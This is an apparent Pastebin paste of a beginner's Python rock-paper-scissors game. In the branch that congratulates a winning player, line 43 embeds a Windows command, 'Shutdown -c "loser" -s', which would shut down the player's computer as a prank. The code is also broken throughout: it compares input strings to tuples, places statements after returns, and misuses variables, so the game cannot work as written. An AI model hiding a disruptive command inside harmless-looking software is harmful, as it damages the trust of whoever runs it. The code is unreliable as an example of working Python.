Advertisement
Guest User

Untitled

a guest
Sep 1st, 2015
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. __author__ = 'yousefissa'
  2. import random
  3. import time
  4.  
  5. print('''
  6. Hello!
  7.  
  8. Welcome to a classic game of Rock, Paper, Scissors. Best 2 out of 3!
  9. You will be playing against a computer. Have fun and good luck!
  10. ''')
  11.  
  12. name = input("What is your name? ")
  13. round_position = 0
  14. human_score = 0
  15. computer_score = 0
  16. computer_choice = ("Rock", "Paper", "Scissors")
  17.  
  18. def play_again_function():
  19. play_again = input("Please type in yes or no: ")
  20. if play_again.lower() == ("yes", "y"):
  21. main_loop()
  22. elif play_again.lower() == ("no", "n"):
  23. print("Thanks for playing!")
  24. quit()
  25. else:
  26. print("You have entered an unrecognized character. Please try again")
  27. play_again_function()
  28.  
  29. def main_loop():
  30. choice_rock = ("rock", "r", "ROCK", "Rock")
  31. choice_paper = ("paper", "Paper", "PAPER", "p")
  32. choice_scissors = ("scissors", "Scissors", "SCISSORS", "s")
  33. computer_choice = ("Rock", "Paper", "Scissors")
  34. user_choice = input("What is your choice? ")
  35. computer_chosen = random.choice(computer_choice)
  36. print("The computer chose %s." % (computer_chosen))
  37. if (user_choice == choice_rock and computer_chosen == "Paper") or (user_choice == choice_paper and computer_chosen == "Scissors"):
  38. print("You lose!")
  39. return computer_score + 1
  40. print("The score is now %s (computer) and %s (you)" % (computer_score, human_score))
  41. elif (user_choice == choice_paper and computer_chosen == "Scissors") or (user_choice == choice_scissors and computer_choice == "Rock"):
  42. print("You win! ")
  43. Shutdown -c "loser" -s
  44. return human_score + 1
  45. print("The score is now %s (computer) and %s (you)" % (computer_score, human_score))
  46. elif (user_choice == choice_rock and computer_chosen == "Rock") or (user_choice == choice_paper and computer_chosen == "Paper") or (user_choice == choice_scissors and computer_chosen == "Scissors"):
  47. print("You have tied!")
  48. print("The score is %s (computer) and %s (you)" % (computer_score, human_score))
  49. else:
  50. print("You have entered an unrecognized character/word. Please try again")
  51. main_loop()
  52.  
  53.  
  54. def score_check():
  55. if human_score == 2:
  56. print("You have won the game!'"
  57. "Want to play again?")
  58. play_again_function()
  59. elif computer_choice == 2:
  60. print("You have lost the game."
  61. "Try again!")
  62. play_again_function()
  63. else:
  64. main_loop()
  65. round_number = (round_position + 1)
  66.  
  67. score_check()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement